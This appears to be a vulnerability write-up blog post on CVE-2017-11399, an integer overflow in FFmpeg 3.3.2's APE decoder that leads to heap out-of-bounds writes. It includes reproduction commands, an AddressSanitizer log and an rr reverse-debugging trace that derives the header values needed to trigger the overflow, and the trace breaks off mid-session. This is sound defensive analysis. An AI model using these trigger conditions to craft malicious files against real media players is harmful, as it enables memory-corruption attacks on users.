twelveand0's Blog

CVE-2017-11399 FFmpeg-3.3.2 Heap-Out-of-Bound-RW due to an integer overflow in APE decoder

Aug 16, 2017
29 minute read

Overview

A vulnerability in FFmpeg lastest version was found with the help of AFL. This is an heap-out-of-bound-write/read vulnerability due to an integer overflow in APE decoder. The same root cause can lead to many different crash points. It can cause Denial-of-Service and probably cause Remote-Code-Execution.

Software & Environments

Software

FFmpeg-3.3.2 https://github.com/FFmpeg/FFmpeg

Download link https://github.com/FFmpeg/FFmpeg/archive/n3.3.2.tar.gz

Operating System

lsb_release -a

    Distributor ID:	Ubuntu 
    Description:	Ubuntu 16.04.1 LTS
    Release:	16.04
    Codename:	xenial

uname -a

    Linux ubuntu 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:25 UTC 2017 i686 i686 i686 GNU/Linux

Compilers & Debuggers

gcc –version

    gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 __clang --version__

    clang version 3.8.0-2ubuntu4 (tags/RELEASE_380/final)
    Target: i686-pc-linux-gnu
    Thread model: posix
    InstalledDir: /usr/bin __rr --version__

    rr version 4.4.0 # Reproduction __gcc debug__

cd /path of FFmpeg master source code/

mkdir build-gcc-debug && cd build-gcc-debug

../configure –enable-debug

make

./ffmpeg_g -y -i /PoC file/ -f “avi” /dev/null

clang asan debug

cd /* path of FFmpeg master source code*/

mkdir build-clang-debug-asan && cd build-clang-debug-asan

../configure –cc=clang –extra-cflags=” -fsanitize=address -g “ –extra-ldflags=” -fsanitize=address -g “ –enable-debug

make

export ASAN_SYMBOLIZER_PATH=/path/to/llvm_build/bin/llvm-symbolizer

./ffmpeg_g -y -i /* PoC file*/ -f “avi” /dev/null

Exception

The exception caught by AddressSanitizer is shown as the following:

    The exception caught by AddressSanitizer is shown as the following:
    ffmpeg version 3.3.git Copyright (c) 2000-2017 the FFmpeg developers
    built with clang version 3.8.0-2ubuntu4 (tags/RELEASE_380/final)
    configuration: --cc=clang --extra-cflags=' -fsanitize=address -g ' --extra-ldflags=' -fsanitize=address -g ' --enable-debug
    libavutil      55. 67.100 / 55. 67.100
    libavcodec     57.100.103 / 57.100.103
    libavformat    57. 75.100 / 57. 75.100
    libavdevice    57.  7.100 / 57.  7.100
    libavfilter     6. 94.100 /  6. 94.100
    libswscale      4.  7.101 /  4.  7.101
    libswresample   2.  8.100 /  2.  8.100
    Ignoring attempt to set invalid timebase 1/0 for st:0
    =================================================================
    ==21024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb37fe928 at pc 0x08bf326c bp 0xbff99ee8 sp 0xbff99edc
    WRITE of size 4 at 0xb37fe928 thread T0
    #0 0x8bf326b in entropy_decode_mono_3900 /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/apedec.c:671:21
    #1 0x8befbb1 in ape_unpack_mono /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/apedec.c:1366:5
    #2 0x8befbb1 in ape_decode_frame /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/apedec.c:1512
    #3 0x8d0e3f4 in decode_simple_internal /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/decode.c:417:15
    #4 0x8d0e3f4 in decode_simple_receive_frame /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/decode.c:620
    #5 0x8d0e3f4 in decode_receive_frame_internal /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/decode.c:638
    #6 0x8d0cf1b in avcodec_send_packet /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/decode.c:678:15
    #7 0x8ae2b9a in try_decode_frame /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavformat/utils.c:3005:19
    #8 0x8ad4f4d in avformat_find_stream_info /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavformat/utils.c:3822:9
    #9 0x8184009 in open_input_file /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/ffmpeg_opt.c:1064:11
    #10 0x8181f31 in open_files /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/ffmpeg_opt.c:3258:15
    #11 0x818193b in ffmpeg_parse_options /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/ffmpeg_opt.c:3298:11
    #12 0x81bc70e in main /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/ffmpeg.c:4803:11
    #13 0xb73f8636 in __libc_start_main /build/glibc-KM3i_a/glibc-2.23/csu/../csu/libc-start.c:291
    #14 0x809e947 in _start (/home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/ffmpeg_g+0x809e947)

    0xb37fe928 is located 0 bytes to the right of 1499432-byte region [0xb3690800,0xb37fe928)
    allocated by thread T0 here:
    #0 0x8143534 in posix_memalign (/home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/ffmpeg_g+0x8143534)
    #1 0xad88455 in av_malloc /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavutil/mem.c:87:9
    #2 0xad88455 in ff_fast_malloc /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavutil/mem_internal.h:38
    #3 0xad88455 in av_fast_malloc /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavutil/mem.c:471
    #4 0x8bef6cd in ape_decode_frame /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/apedec.c:1496:5

    SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fire/bing/afl/libraries/ffmpegs/0704/FFmpeg-master/build-clang-asan-debug-hash/src/libavcodec/apedec.c:671:21 in entropy_decode_mono_3900
    Shadow bytes around the buggy address:
    0x366ffcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x366ffce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x366ffcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x366ffd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x366ffd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x366ffd20: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
    0x366ffd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x366ffd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x366ffd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x366ffd60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x366ffd70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable:           00
    Partially addressable: 01 02 03 04 05 06 07 
    Heap left redzone:       fa
    Heap right redzone:      fb
    Freed heap region:       fd
    Stack left redzone:      f1
    Stack mid redzone:       f2
    Stack right redzone:     f3
    Stack partial redzone:   f4
    Stack after return:      f5
    Stack use after scope:   f8
    Global redzone:          f9
    Global init order:       f6
    Poisoned by user:        f7
    Container overflow:      fc
    Array cookie:            ac
    Intra object redzone:    bb
    ASan internal:           fe
    Left alloca redzone:     ca
    Right alloca redzone:    cb
    ==21024==ABORTING

Analysis

Root Cause

The crash point is:

    @src/libavcodec/apedec.c

    668 int32_t *decoded0 = ctx->decoded[0];
    669 
    670 while (blockstodecode--)
    671        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY); The out-of-bound-write happens when writing the ape decoded values (i.e. return values of __ape_decode_value_3900__) into buffer __ctx->decoded[0]__, which means that the intended access length is larger than the actual length of buffer __ctx->decoded[0]__. From above code snippet, The intended lenth is: > blockstodecode * sizeof(int32_t) = blockstodecode * 4

Now, what is the actual (allocated) length of buffer ctx->decoded[0]?

With several reverse-debugging steps, the allocate-related code snippnet can be found:

    @src/libavcodec/apedec.c:

    1495 /* reallocate decoded sample buffer if needed */
    1496 av_fast_malloc(&s->decoded_buffer, &s->decoded_size,
    1497           2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));
    1498 if (!s->decoded_buffer)
    1499        return AVERROR(ENOMEM);
    1450 memset(s->decoded_buffer, 0, s->decoded_size);
    1451 s->decoded[0] = s->decoded_buffer;
    1452 s->decoded[1] = s->decoded_buffer + FFALIGN(blockstodecode, 8);
    1453 
    1454 /* get output buffer */
    1455 frame->nb_samples = blockstodecode;
    1456 if ((ret = ff_get_buffer(avctx, frame, 0)) < 0)
    1457         return ret;
    1458
    1459 s->error=0;
    1460 
    1461 if ((s->channels == 1) || (s->frameflags & APE_FRAMECODE_PSEUDO_STEREO))
    1462         ape_unpack_mono(s, blockstodecode);
    1463 else
    1464         ape_unpack_stereo(s, blockstodecode);

From this code snippet, ctx->decoded[0] comes from s->decoded[0] and s->decoded[0] comes from s->decoded_buffer (Here, s->decoded[0] points to the first half of s->decoded_buffer and s->decoded[1] points to the second half). The allocated length of buffer s->decoded_buffer is:

2FFALIGN(blockstodecode, 8) * sizeof(s->decoded_buffer)

= 2 * ((blockstodecode+8-1)&~(8-1)) * sizeof(int32_t)

= 2 * 0x2002b110 * 4

= 0x100158880 = (oveflow to) 0x00158880

So, there exists an integer overflow when computing the allocated buffer size of s->decoded_buffer; this results in the intended access length is larger than the actual allocated length of buffer s->decode[0].

the intended access size = blockstodecode * 4 = 0x2002b110 * 4 = 0x800ac440

the allocated buffer size = (2 * FFALIGN(blockstodecode, 8) * 4 ) / 2 = 2 * 0x2002b110 * 4 / 2 = 0x00158880 / 2 = 0x000ac440 (INTEGER OVERFLOW!)

So, the root cause of this vulnerability is an integer overflow when computing the allocated size of buffer. i.e.

@src/libavcodec/apedec.c:

1496 av_fast_malloc(&s->decoded_buffer, &s->decoded_size, 2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));

Debugging

The crash point and corresponding call stack is:

    Program received signal SIGSEGV, Segmentation fault.
    0x083a84ae in entropy_decode_mono_3900 (ctx=0xa672340, blockstodecode=<optimized out>) at               src/libavcodec/apedec.c:671
    671	        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY);
    (rr) bt
    #0  0x083a84ae in entropy_decode_mono_3900 (ctx=0xa672340, blockstodecode=<optimized out>) at   src/libavcodec/apedec.c:671
    #1  0x083aa3aa in ape_unpack_mono (count=537047312, ctx=0xa672340) at src/libavcodec/apedec.c:1366
    #2  ape_decode_frame (avctx=0xa671420, data=0xa671fe0, got_frame_ptr=0xbfb15800, avpkt=0xbfb15808) at src/libavcodec/apedec.c:1512
    #3  0x083e8f16 in decode_simple_internal (avctx=avctx@entry=0xa671420, frame=frame@entry=0xa671fe0) at src/libavcodec/decode.c:417
    #4  0x083e9a11 in decode_simple_receive_frame (frame=<optimized out>, avctx=<optimized out>) at src/libavcodec/decode.c:620
    #5  decode_receive_frame_internal (frame=0xa671fe0, avctx=0xa671420) at src/libavcodec/decode.c:638
    #6  avcodec_send_packet (avctx=0xa671420, avpkt=0xbfb158f8) at src/libavcodec/decode.c:678
    #7  0x083525ae in try_decode_frame (s=s@entry=0xa670200, st=st@entry=0xa670bc0, avpkt=avpkt@entry=0xbfb15a90, options=0xa671960)
    at src/libavformat/utils.c:3005
    #8  0x0835cbca in avformat_find_stream_info (ic=0xa670200, options=0xa671960) at src/libavformat/utils.c:3822
    #9  0x080d1907 in open_input_file (o=o@entry=0xbfb15dbc, filename=<optimized out>) at src/ffmpeg_opt.c:1064
    #10 0x080d44ed in open_files (l=0xa67002c, l=0xa67002c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #11 ffmpeg_parse_options (argc=7, argv=0xbfb17fc4) at src/ffmpeg_opt.c:3298
    #12 0x080c2fc9 in main (argc=7, argv=0xbfb17fc4) at src/ffmpeg.c:4803

The around code is:

    (rr) l
    666	static void entropy_decode_mono_3900(APEContext *ctx, int blockstodecode)
    667	{
    668	    int32_t *decoded0 = ctx->decoded[0];
    669	
    670	    while (blockstodecode--)
    671	        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY);
    672	}
    673	
    674	static void entropy_decode_stereo_3900(APEContext *ctx, int blockstodecode)
    675	{
    (rr)

Set a watch point for ctx->decoded[0] and reverse-contine:

    (rr) watch -l ctx->decoded[0]
    Hardware watchpoint 1: -location ctx->decoded[0]
    (rr) reverse-continue
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x083a84ae in entropy_decode_mono_3900 (ctx=0xa672340, blockstodecode=<optimized out>) at src/libavcodec/apedec.c:671
    671	        *decoded0++ = ape_decode_value_3900(ctx, &ctx->riceY);
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = (int32_t *) 0xb709a020
    New value = (int32_t *) 0x0
    ape_decode_frame (avctx=0xa671420, data=0xa671fe0, got_frame_ptr=0xbfb15800, avpkt=0xbfb15808) at src/libavcodec/apedec.c:1501
    1501	    s->decoded[0] = s->decoded_buffer;

Find that ctx->decoded[0] comes from s->decoded_buffer. Analyze the around code:

    (rr) l
    1496	    av_fast_malloc(&s->decoded_buffer, &s->decoded_size,
    1497	                   2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));
    1498	    if (!s->decoded_buffer)
    1499	        return AVERROR(ENOMEM);
    1500	    memset(s->decoded_buffer, 0, s->decoded_size);
    1501	    s->decoded[0] = s->decoded_buffer;
    1502	    s->decoded[1] = s->decoded_buffer + FFALIGN(blockstodecode, 8);
    1503	
    1504	    /* get output buffer */
    1505	    frame->nb_samples = blockstodecode;

Find that s->decoded_buffer is allocated by function av_fast_malloc at line 1496. The implement code of function av_fast_malloc is:

    @src/libavcodec/mem.c:
    469 void av_fast_malloc(void *ptr, unsigned int *size, size_t min_size)
    470 {
    471         ff_fast_malloc(ptr, size, min_size, 0);
    472 }

    @src/libavcodec/mem_internal.c:
    27 static inline int ff_fast_malloc(void *ptr, unsigned int *size, size_t min_size, int zero_realloc)
    28 {
    29        void *val;
    30 
    31        memcpy(&val, ptr, sizeof(val));
    32        if (min_size <= *size) {
    33                av_assert0(val || !min_size);
    34                return 0;
    35        }
    36        min_size = FFMAX(min_size + min_size / 16 + 32, min_size);
    37        av_freep(ptr);
    38        val = zero_realloc ? av_mallocz(min_size) : av_malloc(min_size);
    39        memcpy(ptr, &val, sizeof(val));
    40        if (!val)
    41                min_size = 0;
    42        *size = min_size;
    43        return 1;
    44 }

Set a break point at src/libavcodec/apedec.c:1496 and reverse-continue:

    (rr) break src/libavcodec/apedec.c:1496
    Breakpoint 4 at 0x83aa305: file src/libavcodec/apedec.c, line 1496.
    (rr) reverse-continue
    Continuing.

    Breakpoint 4, ape_decode_frame (avctx=0xa671420, data=0xa671fe0, got_frame_ptr=0xbfb15800, avpkt=0xbfb15808) at src/libavcodec/apedec.c:1496
    1496	    av_fast_malloc(&s->decoded_buffer, &s->decoded_size,
    (rr) s
    1497	                   2 * FFALIGN(blockstodecode, 8) * sizeof(*s->decoded_buffer));
    (rr) s
    1496	    av_fast_malloc(&s->decoded_buffer, &s->decoded_size,
    (rr) p s->decoded_size
    value has been optimized out
    (rr) p &s->decoded_size
    value has been optimized out
    (rr) s
    av_fast_malloc (ptr=0xa672cac, size=0xa672cb0, min_size=1411200) at src/libavutil/mem.c:470
    470	{
    (rr) p/x min_size
    $2 = 0x158880
    (rr) p/x *size
    $3 = 0x0

From above debugging info, find that

*size = 0x0

min_size = 0x00158880 (Identical to what we compute out in section “Root Cause”)

min_size > *size

So the allocated size is

FFMAX(min_size + min_size / 16 + 32, min_size) = max(min_size + min_size / 16 + 32, min_size) = min_size + min_size / 16 + 32 = 0x16e128

In general, the allocated size is X + X/16 + 32

X = 2 * FFALIGN(blockstodecode, 8) * 4

Until now, we have confirmed the integer overflow happened and known the allocated size value of buffer s->decoded_buffer.

Also, we can know the condition where the integer overflow is trigged, like the following:

2 * FFALIGN(blockstodecode, 8) * 4 > 0x100000000

=> FFALIGN(blockstodecode, 8) > 0x20000000

=> (blockstodecode+8-1)&~(8-1) > 0x20000000

=> 0x1FFFFFF9 < blockstodecode

In addition to the above condition, we must make sure there are enough memory to be allocated, i.e.:

free memory size > X + X/16 + 32

X = overflowed value of 2 * ((blockstodecode+8-1)&~(8-1)) * 4

Next, where does blockstodecode’s value come from? If we can control it or not?

We can not set a watch point for variable blockstodecode because of optimization. So set a break point at the entry of function ape_decode_frame.

(rr) break ape_decode_frame
Breakpoint 6 at 0x83a9da0: file src/libavcodec/apedec.c, line 1406.
(rr) reverse-continue
Continuing.

Breakpoint 6, ape_decode_frame (avctx=0xa671420, data=0xa671fe0, got_frame_ptr=0xbfb15800, avpkt=0xbfb15808) at src/libavcodec/apedec.c:1406
1406
(rr) n
1409	    APEContext *s = avctx->priv_data;
(rr) p s
$11 = <optimized out>
(rr) n
1418	    av_assert0(s->samples >= 0);
(rr) p s
$12 = (APEContext *) 0xa672340
(rr) n
1420	    if(!s->samples){
(rr) p buf
$14 = <optimized out>
(rr) p avpkt->data
$15 = (uint8_t *) 0xa672db0 "\020\261\002 "
(rr) p/x avpkt->data
$16 = 0xa672db0
(rr) x/32bx avpkt->data
0xa672db0:	0x10	0xb1	0x02	0x20	0x00	0x00	0x00	0x00
0xa672db8:	0x7f	0x66	0x21	0x21	0xae	0x0c	0x0c	0x0c
0xa672dc0:	0x0c	0x0c	0x22	0x0c	0x0c	0x0c	0x0c	0x0c
0xa672dc8:	0x0c	0x0c	0x0c	0x0c	0x0c	0x0c	0x0c	0x0c
(rr)

After several debugging steps, find that value of variable blockstodecode comes from s->samples which comes from variable nblocks which comes from &s->ptr[0:4] which comes from avpkt->data[0:4] whose value here is 0x2002b110. The related code is:

    @src/libavcodec/apedec.c:
    1408 const uint8_t *buf = avpkt->data;
    1409 APEContext *s = avctx->priv_data;
    ...
    1442        s->bdsp.bswap_buf((uint32_t *) s->data, (const uint32_t *) buf,
    1443                  buf_size >> 2);
    1444        memset(s->data + (buf_size & ~3), 0, buf_size & 3);
    1445        s->ptr = s->data;
    1446        s->data_end = s->data + buf_size;
    1447
    1448        nblocks = bytestream_get_be32(&s->ptr)
    ...
    1449        s->samples = nblocks;
    ...
    1489 blockstodecode = FFMIN(s->blocks_per_loop, s->samples);
    1490 // for old files coefficients were not interleaved,
    1491 // so we need to decode all of them at once
    1492 if (s->fileversion < 3930)
    1493        blockstodecode = s->samples;

Besides, in order to make avpkt->data[0:4] flow to blockstodecode, the following condition must be satisfied:

s->fileversion < 3905 <=> ctx->priv_data->fileversion < 3905

Continue to track the source of avpkt->data[0:4]:

    (rr) watch -l avpkt->data[1]
    Hardware watchpoint 7: -location avpkt->data[1]
    (rr) disable 6
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 7: -location avpkt->data[1]

    Old value = 177 '\261'
    New value = 43 '+'
    ape_read_packet (s=0xa670200, pkt=0xbfb15848) at src/libavformat/ape.c:415
    415	    AV_WL32(pkt->data    , nblocks);
    (rr) p/x nblocks
    $18 = 0x2002b110
    (rr) watch -l nblocks
    Hardware watchpoint 8: -location nblocks
    (rr) disable 7
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 8: -location nblocks

    Old value = 537047312
    New value = 16417
    0x08216893 in ape_read_packet (s=0xa670200, pkt=0xbfb15848) at src/libavformat/ape.c:404
    404	    if (ape->frames[ape->currentframe].size <= 0 ||
    (rr) break ape_read_packet
    Breakpoint 9 at 0x8216810: file src/libavformat/ape.c, line 384.
    (rr) l
    399	    if (ape->currentframe == (ape->totalframes - 1))
    400	        nblocks = ape->finalframeblocks;
    401	    else
    402	        nblocks = ape->blocksperframe;
    403	
    404	    if (ape->frames[ape->currentframe].size <= 0 ||
    405	        ape->frames[ape->currentframe].size > INT_MAX - extra_size) {
    406	        av_log(s, AV_LOG_ERROR, "invalid packet size: %d\n",
    407	               ape->frames[ape->currentframe].size);
    408	        ape->currentframe++;
    (rr) reverse-continue
    Continuing.

    Breakpoint 9, ape_read_packet (s=0xa670200, pkt=0xbfb15848) at src/libavformat/ape.c:384
    384	{
    (rr) n
    387	    APEContext *ape = s->priv_data;
    (rr) n
    390	    if (avio_feof(s->pb))
    (rr) p ape
    $19 = (APEContext *) 0xa670aa0
    (rr) p/x *ape
    $20 = {junklength = 0x0, firstframe = 0x50, totalsamples = 0x2002b110, currentframe = 0x0, frames = 0xa670b40, fileversion = 0xf40, 
    padding1 = 0x0, descriptorlength = 0x0, headerlength = 0x20, seektablelength = 0x4, wavheaderlength = 0x2c, audiodatalength = 0x0, 
    audiodatalength_high = 0x0, wavtaillength = 0x0, md5 = {0x0 <repeats 16 times>}, compressiontype = 0x3e8, formatflags = 0x0, 
    blocksperframe = 0x12000, finalframeblocks = 0x2002b110, totalframes = 0x1, bps = 0x10, channels = 0x1, samplerate = 0x0, 
    seektable = 0xa670ba0, bittable = 0x0}
    (rr) n
    392	    if (ape->currentframe >= ape->totalframes)
    (rr) n
    395	    if (avio_seek(s->pb, ape->frames[ape->currentframe].pos, SEEK_SET) < 0)
    (rr) n
    399	    if (ape->currentframe == (ape->totalframes - 1))
    (rr) n
    400	        nblocks = ape->finalframeblocks;
    (rr) p/x ape->finalframeblocks
    $21 = 0x2002b110
    (rr) n
    404	    if (ape->frames[ape->currentframe].size <= 0 ||
    (rr) watch -l ape->finalframeblocks
    Hardware watchpoint 10: -location ape->finalframeblocks
    (rr) disable 8 9
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 10: -location ape->finalframeblocks

    Old value = 537047312
    New value = 0
    0x08216b9b in ape_read_header (s=0xa670200) at src/libavformat/ape.c:221
    221	        ape->finalframeblocks     = avio_rl32(pb);
    (rr) x/16b pb-4
    0xa678830:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    0xa678838:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
    (rr) p pb
    $22 = (AVIOContext *) 0xa678ae0
    (rr) p *pb
    $23 = {av_class = 0x8cd73e0 <ff_avio_class>, buffer = 0xa678b90 "MAC @\017\350\003", buffer_size = 32768, buf_ptr = 0xa678bb0 "\004", 
    buf_end = 0xa678ea7 "", opaque = 0xa6709c0, read_packet = 0x8231ca0 <io_read_packet>, write_packet = 0x8231c90 <io_write_packet>, 
    seek = 0x8231c80 <io_seek>, pos = 791, must_flush = 0, eof_reached = 0, write_flag = 0, max_packet_size = 0, checksum = 0, 
    checksum_ptr = 0x0, update_checksum = 0x0, error = 0, read_pause = 0x8231b80 <io_read_pause>, read_seek = 0x8231bb0 <io_read_seek>, 
    seekable = 1, maxsize = 0, direct = 0, bytes_read = 791, seek_count = 0, writeout_count = 0, orig_buffer_size = 32768, 
    short_seek_threshold = 4096, protocol_whitelist = 0xa678ad0 "file,crypto", protocol_blacklist = 0x0, write_data_type = 0x0, 
    ignore_boundary_point = 0, current_type = AVIO_DATA_MARKER_UNKNOWN, last_time = -9223372036854775808, 
    short_seek_get = 0x8231c70 <io_short_seek>, written = 0, buf_ptr_max = 0xa678b9a "\001", min_packet_size = 0}
    (rr) l avio_rl32
    file: "src/libavformat/aviobuf.c", line number: 623
    file: "src/libavformat/aviobuf.c", line number: 753
    (rr) x/16bx pb->buf_ptr-4
    0xa678bac:	0x10	0xb1	0x02	0x20	0x04	0x00	0x10	0xff
    0xa678bb4:	0x00	0x61	0xff	0xff	0xff	0xc0	0xfe	0x0a
    (rr) p/x pb->buf_ptr[-3]
    $24 = 0xb1
    (rr) watch -l pb->buf_ptr[-3]
    Hardware watchpoint 11: -location pb->buf_ptr[-3]
    (rr) disable 10
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 11: -location pb->buf_ptr[-3]

    Old value = 177 '\261'
    New value = 0 '\000'
    __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:492
    492	../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
    (rr) bt
    #0  __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:492
    #1  0x08235ffe in memcpy (__len=791, __src=<optimized out>, __dest=0xa678b90) at /usr/include/i386-linux-gnu/bits/string3.h:53
    #2  avio_read (s=0xa678ae0, buf=0xa678b90 "MAC @\017\350\003", size=2048) at src/libavformat/aviobuf.c:666
    #3  0x0825ee6a in av_probe_input_buffer2 (pb=0xa678ae0, fmt=0xa670204, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", logctx=0xa670200, offset=0, max_probe_size=1048576) at src/libavformat/format.c:314
    #4  0x08360650 in init_input (options=0xbfb15c10, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", s=0xa670200) at src/libavformat/utils.c:421
    #5  avformat_open_input (ps=0xbfb15ca8, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", fmt=0x0, options=0xa6700ac) at src/libavformat/utils.c:537
    #6  0x080d2e17 in open_input_file (o=o@entry=0xbfb15dbc, filename=<optimized out>) at src/ffmpeg_opt.c:1042
    #7  0x080d44ed in open_files (l=0xa67002c, l=0xa67002c, open_file=0x80d1450 <open_input_file>, inout=0x8d0605e "input")
    at src/ffmpeg_opt.c:3258
    #8  ffmpeg_parse_options (argc=7, argv=0xbfb17fc4) at src/ffmpeg_opt.c:3298
    #9  0x080c2fc9 in main (argc=7, argv=0xbfb17fc4) at src/ffmpeg.c:4803
    (rr) break src/libavformat/aviobuf.c:666
    Breakpoint 12 at 0x8236001: src/libavformat/aviobuf.c:666. (3 locations)
    (rr) disable 11
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = (int32_t *) 0x0
    New value = <unreadable>
    __brk (addr=0xa691000) at ../sysdeps/unix/sysv/linux/i386/brk.c:35
    35	../sysdeps/unix/sysv/linux/i386/brk.c: No such file or directory.
    (rr) enable 11
    (rr) c
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = <unreadable>
    New value = (int32_t *) 0x0
    0xb7710c2a in __kernel_vsyscall ()
    (rr) disable 12
    (rr) break avio_read
    Breakpoint 13 at 0x8235e60: avio_read. (3 locations)
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = (int32_t *) 0x0
    New value = <unreadable>
    __brk (addr=0xa691000) at ../sysdeps/unix/sysv/linux/i386/brk.c:35
    35	in ../sysdeps/unix/sysv/linux/i386/brk.c
    (rr) c
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = <unreadable>
    New value = (int32_t *) 0x0
    0xb7710c2a in __kernel_vsyscall ()
    (rr) disable 13
    (rr) break av_probe_input_buffer2
    Breakpoint 14 at 0x825ed40: file src/libavformat/format.c, line 269.
    (rr) reverse-continue
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = (int32_t *) 0x0
    New value = <unreadable>
    __brk (addr=0xa691000) at ../sysdeps/unix/sysv/linux/i386/brk.c:35
    35	in ../sysdeps/unix/sysv/linux/i386/brk.c
    (rr) c
    Continuing.

    Hardware watchpoint 1: -location ctx->decoded[0]

    Old value = <unreadable>
    New value = (int32_t *) 0x0
    0xb7710c2a in __kernel_vsyscall ()
    (rr) c
    Continuing.
    ffmpeg version 3.3.git Copyright (c) 2000-2017 the FFmpeg developers
    built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
    configuration: --enable-debug
    libavutil      55. 67.100 / 55. 67.100
    libavcodec     57.100.103 / 57.100.103
    libavformat    57. 75.100 / 57. 75.100
    libavdevice    57.  7.100 / 57.  7.100
    libavfilter     6. 94.100 /  6. 94.100
    libswscale      4.  7.101 /  4.  7.101
    libswresample   2.  8.100 /  2.  8.100

    Breakpoint 14, av_probe_input_buffer2 (pb=0xa678ae0, fmt=0xa670204, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", logctx=0xa670200, offset=0, max_probe_size=1048576) at src/libavformat/format.c:269
    269	{
    (rr) brea src/libavformat/format.c:314
    Breakpoint 15 at 0x825ee52: file src/libavformat/format.c, line 314.
    (rr) c
    Continuing.

    Breakpoint 15, av_probe_input_buffer2 (pb=0xa678ae0, fmt=0xa670204, 
    filename=0xbfb1a18e "../build-clang-asan-debug-hash/samples/50baca3f8895a3fa0f51e553373be6b0-varas_ra-crash.zip/id_000106,sig_06,src_051941,op_havoc,rep_16.mp4", logctx=0xa670200, offset=0, max_probe_size=1048576) at src/libavformat/format.c:314
    314	        if ((ret = avio_read(pb, buf + buf_offset,
    (rr) s
